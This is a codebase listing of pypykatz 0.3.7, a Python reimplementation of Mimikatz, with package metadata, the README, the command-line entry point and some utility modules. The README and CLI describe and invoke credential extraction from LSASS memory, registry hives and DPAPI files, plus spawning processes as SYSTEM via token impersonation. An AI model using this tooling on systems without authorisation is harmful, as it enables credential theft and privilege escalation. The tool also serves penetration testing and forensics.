Codebase list pypykatz / 9447863
New upstream version 0.3.7 Sophie Brun 4 years ago
162 changed file(s) with 28887 addition(s) and 0 deletion(s). Raw diff Collapse all Expand all
0 Metadata-Version: 1.2
1 Name: pypykatz
2 Version: 0.3.7
3 Summary: Python implementation of Mimikatz
4 Home-page: https://github.com/skelsec/pypykatz
5 Author: Tamas Jos
6 Author-email: [email protected]
7 License: UNKNOWN
8 Description: UNKNOWN
9 Platform: UNKNOWN
10 Classifier: Programming Language :: Python :: 3.6
11 Classifier: License :: OSI Approved :: MIT License
12 Classifier: Operating System :: OS Independent
13 Requires-Python: >=3.6
0 # pypykatz
1 Mimikatz implementation in pure Python. At least a part of it :)
2 Runs on all OS's which support python>=3.6
3 ![pypy_card](https://user-images.githubusercontent.com/19204702/71646030-221fe200-2ce1-11ea-9e2a-e587ea4790d7.jpg)
4
5 ## WIKI
6 Since version 0.1.1 the command line changed a little. Worry not, I have an awesome [WIKI](https://github.com/skelsec/pypykatz/wiki) for you.
7
8 ## Installing
9 Install it via pip or by cloning it from github.
10 The installer will create a pypykatz executable in the python's Script directory. You can run it from there, should be in your PATH.
11 Take care, that the github master version might fail because I'm layz to do a proper branch for the new versions. I'll try to create a branch of stable version tho.
12
13 ### Via PIP
14 ```
15 pip3 install pypykatz
16 ```
17 ### Via Github
18 Install prerequirements
19 ```
20 pip3 install minidump minikerberos aiowinreg msldap winsspi
21 ```
22 Clone this repo
23 ```
24 git clone https://github.com/skelsec/pypykatz.git
25 cd pypykatz
26 ```
27 Install it
28 ```
29 python3 setup.py install
30 ```
31
32 ## Features
33
34 ### General
35 Platform idependent - all commands have a "live" and a normal version where applicable. The "live" version will use the current system and only works on Windows. The normal commands are platform independent.
36 Can be used as a library for your projects.
37
38 ### LSASS processing
39 Can parse the secrets hidden in the LSASS process. This is just like mimikatz's `sekurlsa::` but with different commands.
40 The main difference here is that all the parsing logic is separated from the data source, so if you define a new reader object you can basically perform the parsing of LSASS from anywhere.
41
42 Currently supported data sources:
43 1. live - reads the LSASS porcess' memory directly
44 2. minidump - processes a minidump file created by dumping the LSASS process
45 3. rekall (volatility fork) - processes basically ANY windows memory dumps that rekall can parse
46 4. pcileech - can dump secrets DIRECTLY via DMA of a live computer
47 5. remote - this is another project. TBD :)
48 6. `your project here` seriously, it's super-simple to integrate.
49
50 ### Registry processing
51 Parses the registry hives to obtain stroed credentials, like NT and LM hashes, domain cached credentials (DCC/DCC2) and LSA secrets.
52
53 Currently supported data sources:
54 1. live - has two techniques to parse live registry. First it's in-memory doesn't touch disk, the second is dumping the hives and parsing them with the offline parser
55 2. offline (hive files)
56 3. `your project here` seriously, it's super-simple to integrate.
57
58 ### DPAPI functions - MASTERKEY/BLOB/VAULT/CREDENTIAL
59 DPAPI is the protector of local secrets of many kinds. Currently the project supports decrypting masterkeys, dpapi blobs, credential files, vault files.
60 The results are not 100% correct, as there is not much documentation on most of these things. PR is always welcomed!
61
62 Currently supported data sources:
63 1. live - obtains masterkeys directly from LSASS -OR- the user/machine keys from live registry and decrypts the masterkeyfile.
64 2. hive files (offline)- the user/machine keys from live registry and decrypts the masterkeyfile
65 3. valid credentials (offline) - can decrypt masterkey files by letting you type in the correct SID and password.
66 4. `pls don't integrate this part to your project, it's beta`
67
68 ### Impersonating users
69 Can spawn a new process as any user who has a process running on the machine.
70 Can assign any available token of choise to your thread
71 This is just a basic stuff really. Reson is there that I hate to constanly use psexec to get a system shell from admin...
72
73 ### other stuff
74 yeah... check the code. it has comments and stuff...
75
76 ### Rekall command options
77 #### Timestamp override
78 Reason for this parameter to exist: In order to choose the correct structure for parsing we need the timestamp info of the msv dll file. Rekall sadly doesnt always have this info for some reason, therefore the parsing may be failing.
79 If the parsing is failing this could solve the issue.
80
81 Parameter: ```-t```
82 Values: ```0``` or ```1```
83 Example:
84 ```
85 pypykatz.py rekall <momeory_dump_file> -t 0
86 ```
87
88 ## Rekall usage
89 There are two ways to use rekall-based memory parsing.
90 ### Via the ```pypykatz rekall``` command
91 You will need to specify the memory file to parse.
92
93 ### Via rekall command line
94 IMPORTANT NOTICES:
95 1. If you are just now deciding to install ```rekall``` please note: it MUST be run in a virtualenv, and you will need to install pypykatz in the same virtualenv!
96 2. rekall command line is not suitable to show all information acquired from the memory, you should use the ```out_file``` and ```kerberos_dir``` command switches!
97
98 You can find a rekall plugin file named ```pypykatz_rekall.py``` in the ```plugins``` folder of pypykatz.
99 You will need to copy it in rekall's ```plugins/windows``` folder, and rename it to ```pypykatz.py```.
100 After this modify the ```__init__.py``` file located the same folder and add the following line at the end: ```from rekall.plugins.windows import pypykatz```
101 If everything is okay you can use the ```pypykatz``` command from the ```rekall``` command line directly.
102
103 # HELP WANTED
104 If you want to help me getting this project into a stable release you can send mindiumps of the lsass.exe process to the following link: https://nx5494.your-storageshare.de/s/SJteWj3PPbg8jBA
105 IMPORTANT: please *DO NOT* send dumps of your own machine's lsass process!!! I will be able to see your secrets including hashes/passwords! Send dump files from machines like virtual test systems on which you don't mind that someone will see the credentials. (if you have a test domain system where kerberos is set up that would be the best)
106 Also I'd apprechiate if you wouldn't spam me...
107 ### Why do I need these dumps files?
108 In order to create mimikatz in Python one would have to create structure definitions of a gazillion different structures (check the original code) without the help of the build-in parser that you'd naturally get from using a native compiler. Now, the problem is that even a single byte misalignemt will render the parsing of these structures run to an error. Problem is mostly revolving around 32 - 64 aligments, so 32 bit Windows version lsass dumps are apprechiated as well!
109 ### Summary
110 I need data I can verify the code on and administer necessary changes on the parsers until everything works fine.
111 Submitting issues on this github page wouldn't help at all without the actual file and github wouldn't like 40-300Mb file attachments.
112
113 ## Prerequisites
114 Most of my big python projects are aiming for maximum protability, meaning I only use 3rd party packages where absolutely necessary.
115 As of this point three additional packages are used, and I intend to keep it this way.
116
117 Python>=3.6
118 [minidump](https://github.com/skelsec/minidump)
119 [minikerberos](https://github.com/skelsec/minikerberos)
120 [asn1crypto](https://github.com/wbond/asn1crypto)
121
122 ## Kudos
123 Benjamin DELPY @gentilkiwi for [Mimikatz](https://github.com/gentilkiwi/mimikatz)
124 Francesco Picasso for the [mimikatz.py plugin for volatility](https://raw.githubusercontent.com/sans-dfir/sift-files/master/volatility/mimikatz.py)
125 Alberto Solino (@agsolino) for [impacket](https://github.com/SecureAuthCorp/impacket)
126
127 ### Crypto
128 Richard Moore for the [AES module](https://github.com/ricmoo/pyaes/blob/master/pyaes/aes.py)
129 Todd Whiteman for teh [DES module](http://twhiteman.netfirms.com/des.html)
130
131 ### Utils
132 David Buxton for the timestamp conversion script
133
0 name = "pypykatz"
1 import logging
2
3 logger = logging.getLogger('pypykatz')
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import io
7 import os
8 import re
9 import struct
10 import logging
11 import traceback
12 import json
13 import ntpath
14
15
16 from pypykatz.registry.offline_parser import OffineRegistry
17 from pypykatz.commons.common import UniversalEncoder, hexdump
18
19 def main():
20 import argparse
21 import glob
22
23 from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper
24 #from pypykatz.ldap.cmdhelper import LDAPCMDHelper
25 from pypykatz.kerberos.cmdhelper import KerberosCMDHelper
26 from pypykatz.lsadecryptor.cmdhelper import LSACMDHelper
27 from pypykatz.registry.cmdhelper import RegistryCMDHelper
28 from pypykatz.remote.cmdhelper import RemoteCMDHelper
29
30 cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper()] #LDAPCMDHelper(),
31
32
33 parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--')
34 parser.add_argument('-v', '--verbose', action='count', default=0)
35
36 subparsers = parser.add_subparsers(help = 'commands')
37 subparsers.required = True
38 subparsers.dest = 'command'
39
40 live_group = subparsers.add_parser('live', help='Get secrets from live machine')
41 live_subparsers = live_group.add_subparsers()
42 live_subparsers.required = True
43 live_subparsers.dest = 'module'
44
45 #this is the new cmd helper formet, in beta mode currently
46 for helper in cmdhelpers:
47 helper.add_args(subparsers, live_subparsers)
48
49
50 live_subparser_process_group = live_subparsers.add_parser('process', help='Process creating/manipulation commands')
51
52 live_subparser_process_group.add_argument('cmd', choices=['create'])
53 live_subparser_process_group.add_argument('-i','--interactive', action = 'store_true', help = 'Spawns a new interactive process')
54 live_subparser_process_group.add_argument('--sid', help = 'Impersonate given SID in new process')
55 live_subparser_process_group.add_argument('-c', '--cmdline', help = 'The process to execute. Default: cmd.exe')
56
57 live_subparser_token_group = live_subparsers.add_parser('token', help='Token creating/manipulation commands')
58 live_subparser_token_group.add_argument('cmd', choices=['list', 'current'])
59 live_subparser_token_group.add_argument('-f','--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege')
60 live_subparser_users_group = live_subparsers.add_parser('users', help='User creating/manipulation commands')
61 live_subparser_users_group.add_argument('cmd', choices=['list','whoami'])
62
63 live_subparser_dpapi_group = live_subparsers.add_parser('dpapi', help='DPAPI (live) related commands')
64 live_subparser_dpapi_group.add_argument('-r','--method_registry', action='store_true', help= 'Getting prekeys from LIVE registry')
65 live_subparser_dpapi_group.add_argument('--vpol', help= 'VPOL file')
66 live_subparser_dpapi_group.add_argument('--vcred', help= 'VCRED file')
67 live_subparser_dpapi_group.add_argument('--cred', help= 'credential file')
68 live_subparser_dpapi_group.add_argument('--mkf', help= 'masterkey file')
69
70 dpapi_group = subparsers.add_parser('dpapi', help='DPAPI (offline) related commands')
71 dpapi_subparsers = dpapi_group.add_subparsers()
72 dpapi_subparsers.required = True
73 dpapi_subparsers.dest = 'dapi_module'
74
75 dpapi_prekey_group = dpapi_subparsers.add_parser('prekey', help='Obtains keys for masterkey decryption. Sources can be registry hives file or plaintext password and SID or NT hash and SID')
76 dpapi_prekey_group.add_argument('keysource', choices=['registry', 'password', 'nt'], help = 'Define what type of input you want to parse')
77 dpapi_prekey_group.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.')
78 dpapi_prekey_group.add_argument('--system', help= '[registry] Path to SYSTEM hive file')
79 dpapi_prekey_group.add_argument('--sam', help= '[registry] Path to SAM hive file')
80 dpapi_prekey_group.add_argument('--security', help= '[registry] Path to SECURITY hive file')
81 dpapi_prekey_group.add_argument('--sid', help= '[password and nt] Key used for decryption. The usage of this key depends on what other params you supply.')
82 dpapi_prekey_group.add_argument('--password', help= '[password] Plaintext passowrd of the user. Used together with SID')
83 dpapi_prekey_group.add_argument('--nt', help= '[nt] NT hash of the user password. Used together with SID. !!Succsess not guaranteed!!')
84
85 dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys from minidump file')
86 dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file')
87
88 dpapi_mastekey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file')
89 dpapi_mastekey_group.add_argument('mkf', help='path to masterkey file')
90 dpapi_mastekey_group.add_argument('--key', help= 'Key used for decryption, in hex format')
91 dpapi_mastekey_group.add_argument('--prekey', help= 'Path to prekey file, which has multiple decryption key candidates')
92 dpapi_mastekey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
93
94
95 dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file')
96 dpapi_credential_group.add_argument('cred', help='path to credential file')
97 dpapi_credential_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format')
98 dpapi_credential_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.')
99
100 dpapi_vcred_group = dpapi_subparsers.add_parser('vcred', help='Decrypt vcred file')
101 dpapi_vcred_group.add_argument('vcred', help='path to vcred file')
102 dpapi_vcred_group.add_argument('--vpolkey', help= 'Key obtained by decrypting the corresponding VPOL file, in hex format. Remember to try both VPOL keys')
103
104 dpapi_vpol_group = dpapi_subparsers.add_parser('vpol', help='Decrypt vpol file')
105 dpapi_vpol_group.add_argument('vpol', help='path to vpol file')
106 dpapi_vpol_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format')
107 dpapi_vpol_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.')
108
109 sake_group = subparsers.add_parser('sake', help='sake')
110 version_group = subparsers.add_parser('version', help='version')
111 banner_group = subparsers.add_parser('banner', help='banner')
112
113 ####### PARSING ARGUMENTS
114
115 args = parser.parse_args()
116
117
118 ###### VERBOSITY
119 if args.verbose == 0:
120 logging.basicConfig(level=logging.INFO)
121 elif args.verbose == 1:
122 logging.basicConfig(level=logging.DEBUG)
123 else:
124 level = 5 - args.verbose
125 logging.basicConfig(level=level)
126
127 ##### Common obj
128 #results = {}
129 #files_with_error = []
130
131 for helper in cmdhelpers:
132 helper.execute(args)
133
134
135 ###### Live
136 if args.command == 'live':
137 if args.module == 'process':
138 if args.cmd == 'create':
139 from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
140 pm = ProcessManipulator()
141 sid = 'S-1-5-18'
142 if args.sid is not None:
143 sid = args.sid
144
145 if args.cmdline is not None:
146 cmdline = args.cmdline
147 else:
148 #looking for the correct path...
149 cmdline = os.environ['ComSpec']
150
151 pm.create_process_for_sid(target_sid = sid, cmdline = cmdline, interactive = args.interactive)
152 return
153
154 elif args.module == 'token':
155 from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
156 if args.cmd == 'list':
157 pm = ProcessManipulator()
158 for ti in pm.list_all_tokens(args.force):
159 print(str(ti))
160 return
161
162 if args.cmd == 'current':
163 pm = ProcessManipulator()
164 token_info = pm.get_current_token_info()
165 print(str(token_info))
166 return
167
168 elif args.module == 'users':
169 from pypykatz.commons.winapi.machine import LiveMachine
170
171 if args.cmd == 'list':
172 lm = LiveMachine()
173 users = lm.list_users()
174 for sid in users:
175 print(str(users[sid]))
176
177 elif args.cmd == 'whoami':
178 lm = LiveMachine()
179 user = lm.get_current_user()
180 print(str(user))
181
182 elif args.module == 'dpapi':
183 from pypykatz.dpapi.dpapi import DPAPI
184
185 dpapi = DPAPI()
186 #####pre-key section
187 if args.method_registry == True:
188 dpapi.get_prekeys_form_registry_live()
189
190 if not args.mkf:
191 raise Exception('Live registry method requires masterkeyfile to be set!')
192
193 dpapi.decrypt_masterkey_file(args.mkf)
194
195 else:
196 dpapi.get_masterkeys_from_lsass_live()
197
198 #decryption stuff
199 if args.vcred:
200 if args.vpol is None:
201 raise Exception('for VCRED decryption you must suppliy VPOL file')
202 dpapi.decrypt_vpol_file(args.vpol)
203 res = dpapi.decrypt_vcrd_file(args.vcred)
204 for attr in res:
205 for i in range(len(res[attr])):
206 if res[attr][i] is not None:
207 print('AttributeID: %s Key %s' % (attr.id, i))
208 print(hexdump(res[attr][i]))
209
210 elif args.vpol:
211 key1, key2 = dpapi.decrypt_vpol_file(args.vpol)
212 print('VPOL key1: %s' % key1.hex())
213 print('VPOL key2: %s' % key2.hex())
214
215 elif args.cred:
216 cred_blob = dpapi.decrypt_credential_file(args.cred)
217 print(cred_blob.to_text())
218
219 else:
220 #just printing masterkeys
221 for guid in dpapi.masterkeys:
222 print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex()))
223
224 if len(dpapi.masterkeys) == 0:
225 print('Failed to decrypt masterkey')
226
227
228 ###### DPAPI offline
229 elif args.command == 'dpapi':
230 from pypykatz.dpapi.dpapi import DPAPI
231
232 dpapi = DPAPI()
233
234 if args.dapi_module == 'prekey':
235 if args.keysource == 'registry':
236 if args.system is None:
237 raise Exception('SYSTEM hive must be specified for registry parsing!')
238 if args.sam is None and args.security is None:
239 raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.')
240
241 dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam)
242
243 elif args.keysource == 'password':
244 if args.sid is None:
245 raise Exception('SID must be specified for generating prekey in this mode')
246
247 pw = args.password
248 if args.password is None:
249 import getpass
250 pw = getpass.getpass()
251
252 dpapi.get_prekeys_from_password(args.sid, password = pw)
253
254 elif args.keysource == 'nt':
255 if args.nt is None or args.sid is None:
256 raise Exception('NT hash and SID must be specified for generating prekey in this mode')
257
258 dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt)
259
260
261 dpapi.dump_pre_keys(args.out_file)
262
263
264 elif args.dapi_module == 'minidump':
265 if args.minidumpfile is None:
266 raise Exception('minidump file must be specified for mindiump parsing!')
267
268 dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile)
269 dpapi.dump_masterkeys(args.out_file)
270
271
272 elif args.dapi_module == 'masterkey':
273 if args.key is None and args.prekey is None:
274 raise Exception('Etieher KEY or path to prekey file must be supplied!')
275
276 if args.prekey:
277 dpapi.load_pre_keys(args.prekey)
278 dpapi.decrypt_masterkey_file(args.mkf)
279
280 if args.key:
281 dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key))
282
283 if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0:
284 print('Failed to decrypt the masterkeyfile!')
285 return
286
287 dpapi.dump_masterkeys(args.out_file)
288
289 elif args.dapi_module == 'credential':
290 if args.masterkey is None and args.mkb_file is None:
291 raise Exception('Either masterkey or pre-generated MKB file must be specified')
292
293 if args.mkb_file is not None:
294 dpapi.load_masterkeys(args.mkb_file)
295 cred_blob = dpapi.decrypt_credential_file(args.cred)
296 else:
297 cred_blob = dpapi.decrypt_credential_file(args.cred, args.masterkey)
298
299 print(cred_blob.to_text())
300
301 elif args.dapi_module == 'vpol':
302 if args.masterkey is None and args.mkb_file is None:
303 raise Exception('Either masterkey or pre-generated MKB file must be specified')
304
305 if args.mkb_file is not None:
306 dpapi.load_masterkeys(args.mkb_file)
307 key1, key2 = dpapi.decrypt_vpol_file(args.vpol)
308 else:
309 key1, key2 = dpapi.decrypt_vpol_file(args.vpol, args.masterkey)
310
311
312 print('VPOL key1: %s' % key1.hex())
313 print('VPOL key2: %s' % key2.hex())
314
315
316 elif args.dapi_module == 'vcred':
317 if args.vpolkey is None:
318 raise Exception('VPOL key bust be specified!')
319
320 res = dpapi.decrypt_vpol_file(args.vcred, args.vpolkey)
321 for attr in res:
322 for i in range(len(res[attr])):
323 if res[attr][i] is not None:
324 print('AttributeID: %s Key %s' % (attr.id, i))
325 print(hexdump(res[attr][i]))
326
327 ###### Sake
328 elif args.command == 'sake':
329 from pypykatz.utils.sake.sake import Sake
330 s = Sake()
331 print(s.draw())
332
333 elif args.command == 'version':
334 from pypykatz._version import __version__
335 print(__version__)
336
337 elif args.command == 'banner':
338 from pypykatz._version import __banner__
339 print(__banner__)
340
341
342
343
344 if __name__ == '__main__':
345 main()
0
1 __version__ = "0.3.7"
2 __banner__ = \
3 """
4 # pypyKatz %s
5 # Author: Tamas Jos @skelsec
6 # License: MIT
7 """ % __version__
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import enum
6 import json
7 import datetime
8 from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE
9
10 class KatzSystemArchitecture(enum.Enum):
11 X86 = enum.auto()
12 X64 = enum.auto()
13
14 class GenericReader:
15 def __init__(self, data, processor_architecture = KatzSystemArchitecture.X64):
16 """
17 data is bytes
18 """
19 self.processor_architecture = processor_architecture
20 self.start_address = 0
21 self.end_address = len(data)
22 self.size = len(data)
23 self.data = data
24 self.current_position = 0
25
26 def inrange(self, ptr):
27 return self.start_address <= ptr <= self.end_address
28
29 def seek(self, offset, whence = 0):
30 """
31 Changes the current address to an offset of offset. The whence parameter controls from which position should we count the offsets.
32 0: beginning of the current memory segment
33 1: from current position
34 2: from the end of the current memory segment
35 If you wish to move out from the segment, use the 'move' function
36 """
37 if whence == 0:
38 t = self.start_address + offset
39 elif whence == 1:
40 t = self.current_position + offset
41 elif whence == 2:
42 t = self.end_address - offset
43 else:
44 raise Exception('Seek function whence value must be between 0-2')
45
46 if not self.inrange(t):
47 raise Exception('Seek would point out of buffer')
48
49 self.current_position = t
50 return
51
52 def move(self, address):
53 """
54 Moves the buffer to a virtual address specified by address
55 """
56 self.seek(address)
57 return
58
59 def align(self, alignment = None):
60 """
61 Repositions the current reader to match architecture alignment
62 """
63 if alignment is None:
64 if self.processor_architecture == KatzSystemArchitecture.X64:
65 alignment = 8
66 else:
67 alignment = 4
68 offset = self.current_position % alignment
69 if offset == 0:
70 return
71 offset_to_aligned = (alignment - offset) % alignment
72 self.seek(offset_to_aligned, 1)
73 return
74
75 def tell(self):
76 """
77 Returns the current virtual address
78 """
79 return self.current_position
80
81 def peek(self, length):
82 """
83 Returns up to length bytes from the current memory segment
84 """
85 t = self.current_position + length
86 if not self.inrange(t):
87 raise Exception('Would read out of buffer!')
88 return self.data[self.current_position - self.start_address :t - self.start_address]
89
90 def read(self, size = -1):
91 """
92 Returns data bytes of size size from the current segment. If size is -1 it returns all the remaining data bytes from memory segment
93 """
94 if size < -1:
95 raise Exception('You shouldnt be doing this')
96 if size == -1:
97 oldnew_pos = self.current_position
98 self.current_position = self.end_address
99 return self.data[oldnew_pos:]
100
101 t = self.current_position + size
102 if not self.inrange(t):
103 raise Exception('Would read out of buffer!')
104
105 old_new_pos = self.current_position
106 self.current_position = t
107 return self.data[old_new_pos:t]
108
109 def read_int(self):
110 """
111 Reads an integer. The size depends on the architecture.
112 Reads a 4 byte small-endian singed int on 32 bit arch
113 Reads an 8 byte small-endian singed int on 64 bit arch
114 """
115 if self.processor_architecture == KatzSystemArchitecture.X64:
116 return int.from_bytes(self.read(8), byteorder = 'little', signed = True)
117 else:
118 return int.from_bytes(self.read(4), byteorder = 'little', signed = True)
119
120 def read_uint(self):
121 """
122 Reads an integer. The size depends on the architecture.
123 Reads a 4 byte small-endian unsinged int on 32 bit arch
124 Reads an 8 byte small-endian unsinged int on 64 bit arch
125 """
126 if self.processor_architecture == KatzSystemArchitecture.X64:
127 return int.from_bytes(self.read(8), byteorder = 'little', signed = False)
128 else:
129 return int.from_bytes(self.read(4), byteorder = 'little', signed = False)
130
131 def find(self, pattern):
132 """
133 Searches for a pattern in the current memory segment
134 """
135 pos = self.data.find(pattern)
136 if pos == -1:
137 return -1
138 return pos + self.current_position
139
140 def find_all(self, pattern):
141 """
142 Searches for all occurrences of a pattern in the current memory segment, returns all occurrences as a list
143 """
144 pos = []
145 last_found = -1
146 while True:
147 last_found = self.data.find(pattern, last_found + 1)
148 if last_found == -1:
149 break
150 pos.append(last_found + self.start_address)
151
152 return pos
153
154 def get_ptr(self, pos):
155 self.move(pos)
156 return self.read_uint()
157 #raw_data = self.read(pos, self.sizeof_ptr)
158 #return struct.unpack(self.unpack_ptr, raw_data)[0]
159
160 def get_ptr_with_offset(self, pos):
161 if self.processor_architecture == KatzSystemArchitecture.X64:
162 self.move(pos)
163 ptr = int.from_bytes(self.read(4), byteorder = 'little', signed = True)
164 return pos + 4 + ptr
165 #raw_data = self.read(pos, self.sizeof_long)
166 #ptr = struct.unpack(self.unpack_long, raw_data)[0]
167 #return pos + self.sizeof_long + ptr
168 else:
169 self.move(pos)
170 return self.read_uint()
171 #raw_data = self.read(pos, self.sizeof_long)
172 #return struct.unpack(self.unpack_long, raw_data)[0]
173
174
175
176 class WindowsBuild(enum.Enum):
177 WIN_XP = 2600
178 WIN_2K3 = 3790
179 WIN_VISTA = 6000
180 WIN_7 = 7600
181 WIN_8 = 9200
182 WIN_BLUE = 9600
183 WIN_10_1507 = 10240
184 WIN_10_1511 = 10586
185 WIN_10_1607 = 14393
186 WIN_10_1703 = 15063
187 WIN_10_1709 = 16299
188 WIN_10_1803 = 17134
189 WIN_10_1809 = 17763
190 WIN_10_1903 = 18362
191
192 class WindowsMinBuild(enum.Enum):
193 WIN_XP = 2500
194 WIN_2K3 = 3000
195 WIN_VISTA = 5000
196 WIN_7 = 7000
197 WIN_8 = 8000
198 WIN_BLUE = 9400
199 WIN_10 = 9800
200
201
202 def hexdump( src, length=16, sep='.', start = 0):
203 '''
204 @brief Return {src} in hex dump.
205 @param[in] length {Int} Nb Bytes by row.
206 @param[in] sep {Char} For the text part, {sep} will be used for non ASCII char.
207 @return {Str} The hexdump
208
209 @note Full support for python2 and python3 !
210 '''
211 result = []
212
213 # Python3 support
214 try:
215 xrange(0,1)
216 except NameError:
217 xrange = range
218
219 for i in xrange(0, len(src), length):
220 subSrc = src[i:i+length]
221 hexa = ''
222 isMiddle = False
223 for h in xrange(0,len(subSrc)):
224 if h == length/2:
225 hexa += ' '
226 h = subSrc[h]
227 if not isinstance(h, int):
228 h = ord(h)
229 h = hex(h).replace('0x','')
230 if len(h) == 1:
231 h = '0'+h
232 hexa += h+' '
233 hexa = hexa.strip(' ')
234 text = ''
235 for c in subSrc:
236 if not isinstance(c, int):
237 c = ord(c)
238 if 0x20 <= c < 0x7F:
239 text += chr(c)
240 else:
241 text += sep
242 if start == 0:
243 result.append(('%08x: %-'+str(length*(2+1)+1)+'s |%s|') % (i, hexa, text))
244 else:
245 result.append(('%08x(+%04x): %-'+str(length*(2+1)+1)+'s |%s|') % (start+i, i, hexa, text))
246 return '\n'.join(result)
247
248 class UniversalEncoder(json.JSONEncoder):
249 """
250 Used to override the default json encoder to provide a direct serialization for formats
251 that the default json encoder is incapable to serialize
252 """
253 def default(self, obj):
254 if isinstance(obj, datetime.datetime):
255 return obj.isoformat()
256 elif isinstance(obj, enum.Enum):
257 return obj.value
258 elif isinstance(obj, bytes):
259 return obj.hex()
260 #elif getattr(obj, "to_json", None):
261 # to_json = getattr(obj, "to_json", None)
262 # if callable(to_json):
263 # return obj.to_json()
264 elif getattr(obj, "to_dict", None):
265 to_dict = getattr(obj, "to_dict", None)
266 if callable(to_dict):
267 return obj.to_dict()
268
269 else:
270 return json.JSONEncoder.default(self, obj)
271
272
273
274
275 class KatzSystemInfo:
276 def __init__(self):
277 self.architecture = None
278 self.buildnumber = None
279 self.msv_dll_timestamp = None #this is needed :(
280 self.operating_system = None
281 self.major_version = 6
282
283 def __str__(self):
284 return '%s %s' % (self.architecture.name, self.buildnumber)
285
286 @staticmethod
287 def from_live_reader(lr):
288 sysinfo = KatzSystemInfo()
289 if lr.processor_architecture == PROCESSOR_ARCHITECTURE.AMD64:
290 sysinfo.architecture = KatzSystemArchitecture.X64
291 elif lr.processor_architecture == PROCESSOR_ARCHITECTURE.INTEL:
292 sysinfo.architecture = KatzSystemArchitecture.X86
293
294 sysinfo.buildnumber = lr.BuildNumber
295
296 sysinfo.msv_dll_timestamp = lr.msv_dll_timestamp
297 return sysinfo
298
299 @staticmethod
300 def from_minidump(minidump):
301 sysinfo = KatzSystemInfo()
302 if minidump.sysinfo.ProcessorArchitecture == PROCESSOR_ARCHITECTURE.AMD64:
303 sysinfo.architecture = KatzSystemArchitecture.X64
304 elif minidump.sysinfo.ProcessorArchitecture == PROCESSOR_ARCHITECTURE.INTEL:
305 sysinfo.architecture = KatzSystemArchitecture.X86
306
307 sysinfo.operating_system = minidump.sysinfo.OperatingSystem
308 sysinfo.buildnumber = minidump.sysinfo.BuildNumber
309
310 sysinfo.msv_dll_timestamp = 0
311 for module in minidump.modules.modules:
312 if module.name.find('lsasrv.dll') != -1:
313 sysinfo.msv_dll_timestamp = module.timestamp
314
315 return sysinfo
316
317 @staticmethod
318 def from_rekallreader(rekallreader):
319 sysinfo = KatzSystemInfo()
320 sysinfo.architecture = rekallreader.processor_architecture
321 sysinfo.operating_system = None
322 sysinfo.buildnumber = rekallreader.BuildNumber
323 sysinfo.msv_dll_timestamp = rekallreader.msv_dll_timestamp
324
325 return sysinfo
326
0 #!/usr/bin/env python
1 # Copyright (c) 2009, David Buxton <[email protected]>
2 # All rights reserved.
3 #
4 # Redistribution and use in source and binary forms, with or without
5 # modification, are permitted provided that the following conditions are
6 # met:
7 #
8 # * Redistributions of source code must retain the above copyright
9 # notice, this list of conditions and the following disclaimer.
10 # * Redistributions in binary form must reproduce the above copyright
11 # notice, this list of conditions and the following disclaimer in the
12 # documentation and/or other materials provided with the distribution.
13 #
14 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
15 # IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
16 # TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
17 # PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
18 # HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
19 # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
20 # TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
21 # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
22 # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
23 # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
24 # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
25 """Tools to convert between Python datetime instances and Microsoft times.
26 """
27 from datetime import datetime, timedelta, tzinfo
28 from calendar import timegm
29
30
31 # http://support.microsoft.com/kb/167296
32 # How To Convert a UNIX time_t to a Win32 FILETIME or SYSTEMTIME
33 EPOCH_AS_FILETIME = 116444736000000000 # January 1, 1970 as MS file time
34 HUNDREDS_OF_NANOSECONDS = 10000000
35
36
37 ZERO = timedelta(0)
38 HOUR = timedelta(hours=1)
39
40
41 class UTC(tzinfo):
42 """UTC"""
43 def utcoffset(self, dt):
44 return ZERO
45
46 def tzname(self, dt):
47 return "UTC"
48
49 def dst(self, dt):
50 return ZERO
51
52
